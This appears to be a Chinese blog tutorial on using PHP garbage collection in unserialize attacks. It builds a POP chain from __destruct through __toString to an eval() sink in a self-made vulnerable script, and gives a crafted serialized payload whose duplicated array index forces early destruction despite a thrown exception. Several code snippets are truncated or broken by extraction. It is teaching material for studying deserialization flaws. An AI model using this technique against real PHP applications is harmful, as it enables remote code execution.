热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

PHP中GC回收机制如何利用

这篇文章主要介绍“PHP中GC回收机制如何利用”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP中GC

这篇文章主要介绍“PHP中GC回收机制如何利用”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“PHP中GC回收机制如何利用”文章能帮助大家解决问题。

简单铺垫

先看看这个简单的序列化,一定要先思考再看后面的答案

很简单的一个反序列化,想办法控制$rce这个变量就可以达到命令执行的目的。

构造exp

如果你看完了我之前写的序列化与反序列化基础篇就只能说这个是非常简单了。

PHP中GC回收机制如何利用

这里是因为可以用到__destruct()方法

 如果是这样的话呢?不会的话也不用着急搞懂,我们后面慢慢说。

初识GC

PHP Garbage Collection简称GC,又名垃圾回收,在PHP中使用引用计数和回收周期来自动管理内存对象的。

垃圾,顾名思义就是一些没有用的东西。在这里指的是一些数据或者说是变量在进行某些操作后被置为空(NULL)或者是没有地址(指针)的指向,这种数据一旦被当作垃圾回收后就相当于把一个程序的结尾给划上了句号,那么就不会出现无法调用__destruct()方法了。想知道原理细节的小伙伴可以直接看PHP官方的解答:PHP: 回收周期(Collecting Cycles) - Manual

PHP中GC回收机制如何利用

 那接下来就演示用代码演示GC的实际工作。

num = $num;
    echo $this->num."__construct"."
"; } public function __destruct(){         echo $this->num."__destruct()"."
"; } }   new errorr(1); $a = new errorr(2); $b = new errorr(3); ?>

可以猜一猜结果会是什么。

PHP中GC回收机制如何利用

谢谢有被吃惊到(虽然我是已经知道结果的),new了一个errorr对象,屁股还没坐热就__destruct()了。后面的两个对象则是按部就班先创建完没有操作了以后才结束的。区别就在于对象1没有任何引用也没有指向,在创建的那一刻就被当作垃圾回收了,从而触发了__destruct()方法。

如果没有指向可以,那如过在指向一个对象的中途忽然指向另一个,也就是舍弃了该对象又会怎么样。

num = $num;
    echo $this->num."__construct"."
"; } public function __destruct(){         echo $this->num."__destruct()"."
"; } }   $c = array(new errorr(1),0); $c[0] = $c[1]; $a = new errorr(2); $b = new errorr(3); ?>

PHP中GC回收机制如何利用

意料之中。

如果注销$c[0] = $c[1]呢?

PHP中GC回收机制如何利用

可以看到,正常创建,最后销毁的。 

小试牛刀

既然知道如何利用GC了,那就看一个例题。

num;
    }
}
class errorr1{
    public $err;
    public function __toString()
    {
        echo "hello __toString";
        $this->err->flag();
    }
}
 
class errorr2{
    public $err;
    public function flag()
    {
        echo "hello __flag()";
        eval($this->err);
    }
}
 
$a=unserialize($_GET['url']);
throw new Exception("就这?");
 
?>

自己胡思乱想出来的题目,太简单也不要骂我哈哈哈。可能这个throw new Exception();有点突兀,这其实就是阻止__destruct()执行的抛错,学过java或者python的小伙伴应该知道。

这也算一个pop链子吧,先分析目的函数,看来看去就是errorr2::flag(),往前推就是errorr1::__toString()会触发这个函数,而errorr0::__destruct()会触发toString,思路理清就把链子构造出来为:首端 --> errorr0::__destruct() --> errorr1::__toString() --> errorr2::flag() -->尾巴。

exp为:

num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
echo serialize($c);
?>

这个exp的构造有许多方法的,根据自己喜好来,不必和我一样。

这就完了?或许有人迷惑了,如果完了那前面我说的都是在放屁,和pop没区别,所以当然还没完。如果没有这句throw new Exception();就真的构造完了,但是有的话__destruct()是不会执行的,而__destruct()不执行这条链子根本就是堵死的,没啥用。

重点来了,根据之前说的GC回收机制可以把一段数据当做垃圾回收,那不就可以执行__destruct(),然后就有一个问题-------如何触发GC回收机制?!!还记得,之前举过的例子吗?如过没有如何东西指向一个对象,那个对象就会被当作垃圾回收。所以,我们先看修改后的exp

num = new errorr1();
	}
 
}
class errorr1{
    public $err;
	public function __construct()
	{
		$this->err = new errorr2();
	}
}
 
class errorr2{
    public $err = "phpinfo();";
}
 
$a = new errorr0();
$c = array(0=>$a,1=>NULL);
echo serialize($c);
?>

可以看出来,就加了一行代码,就是

$c = array(0=>$a,1=>NULL);

把目标对象赋给键为0,键为1赋值为NULL。为什么要这么做,因为这样操作后,得到的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:1;N;}

可以自己试试。解释一下这串字符。

第一个a为数组,2为数组中键有两个 i = 0以及 i = 1

重点重点重点,虽然有两个键i = 0对应的是我们目标对象,i = 1NULL,如果这个时候我们做一件坏事,把i 本应该等于 1修改为 i = 0。那不就是把i = 0指向NULL了吗?然后就实现了GC回收。所以最后我们修改后的字符串为:

a:2:{i:0;O:7:"errorr0":1:{s:3:"num";O:7:"errorr1":1:{s:3:"err";O:7:"errorr2":1:{s:3:"err";s:10:"phpinfo();";}}}i:0;N;}

PHP中GC回收机制如何利用

关于“PHP中GC回收机制如何利用”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程笔记行业资讯频道,小编每天都会为大家更新不同的知识点。


推荐阅读
  • Iamtryingtomakeaclassthatwillreadatextfileofnamesintoanarray,thenreturnthatarra ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • 本文介绍了使用Java实现大数乘法的分治算法,包括输入数据的处理、普通大数乘法的结果和Karatsuba大数乘法的结果。通过改变long类型可以适应不同范围的大数乘法计算。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • Java太阳系小游戏分析和源码详解
    本文介绍了一个基于Java的太阳系小游戏的分析和源码详解。通过对面向对象的知识的学习和实践,作者实现了太阳系各行星绕太阳转的效果。文章详细介绍了游戏的设计思路和源码结构,包括工具类、常量、图片加载、面板等。通过这个小游戏的制作,读者可以巩固和应用所学的知识,如类的继承、方法的重载与重写、多态和封装等。 ... [详细]
  • 开发笔记:加密&json&StringIO模块&BytesIO模块
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了加密&json&StringIO模块&BytesIO模块相关的知识,希望对你有一定的参考价值。一、加密加密 ... [详细]
  • Android中高级面试必知必会,积累总结
    本文介绍了Android中高级面试的必知必会内容,并总结了相关经验。文章指出,如今的Android市场对开发人员的要求更高,需要更专业的人才。同时,文章还给出了针对Android岗位的职责和要求,并提供了简历突出的建议。 ... [详细]
  • Java容器中的compareto方法排序原理解析
    本文从源码解析Java容器中的compareto方法的排序原理,讲解了在使用数组存储数据时的限制以及存储效率的问题。同时提到了Redis的五大数据结构和list、set等知识点,回忆了作者大学时代的Java学习经历。文章以作者做的思维导图作为目录,展示了整个讲解过程。 ... [详细]
  • 本文详细介绍了PHP中与URL处理相关的三个函数:http_build_query、parse_str和查询字符串的解析。通过示例和语法说明,讲解了这些函数的使用方法和作用,帮助读者更好地理解和应用。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 在说Hibernate映射前,我们先来了解下对象关系映射ORM。ORM的实现思想就是将关系数据库中表的数据映射成对象,以对象的形式展现。这样开发人员就可以把对数据库的操作转化为对 ... [详细]
  • 本文介绍了Oracle数据库中tnsnames.ora文件的作用和配置方法。tnsnames.ora文件在数据库启动过程中会被读取,用于解析LOCAL_LISTENER,并且与侦听无关。文章还提供了配置LOCAL_LISTENER和1522端口的示例,并展示了listener.ora文件的内容。 ... [详细]
  • Spring特性实现接口多类的动态调用详解
    本文详细介绍了如何使用Spring特性实现接口多类的动态调用。通过对Spring IoC容器的基础类BeanFactory和ApplicationContext的介绍,以及getBeansOfType方法的应用,解决了在实际工作中遇到的接口及多个实现类的问题。同时,文章还提到了SPI使用的不便之处,并介绍了借助ApplicationContext实现需求的方法。阅读本文,你将了解到Spring特性的实现原理和实际应用方式。 ... [详细]
  • 本文讨论了一个关于cuowu类的问题,作者在使用cuowu类时遇到了错误提示和使用AdjustmentListener的问题。文章提供了16个解决方案,并给出了两个可能导致错误的原因。 ... [详细]
  • 判断数组是否全为0_连续子数组的最大和的解题思路及代码方法一_动态规划
    本文介绍了判断数组是否全为0以及求解连续子数组的最大和的解题思路及代码方法一,即动态规划。通过动态规划的方法,可以找出连续子数组的最大和,具体思路是尽量选择正数的部分,遇到负数则不选择进去,遇到正数则保留并继续考察。本文给出了状态定义和状态转移方程,并提供了具体的代码实现。 ... [详细]
author-avatar
手机用户2502885897
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有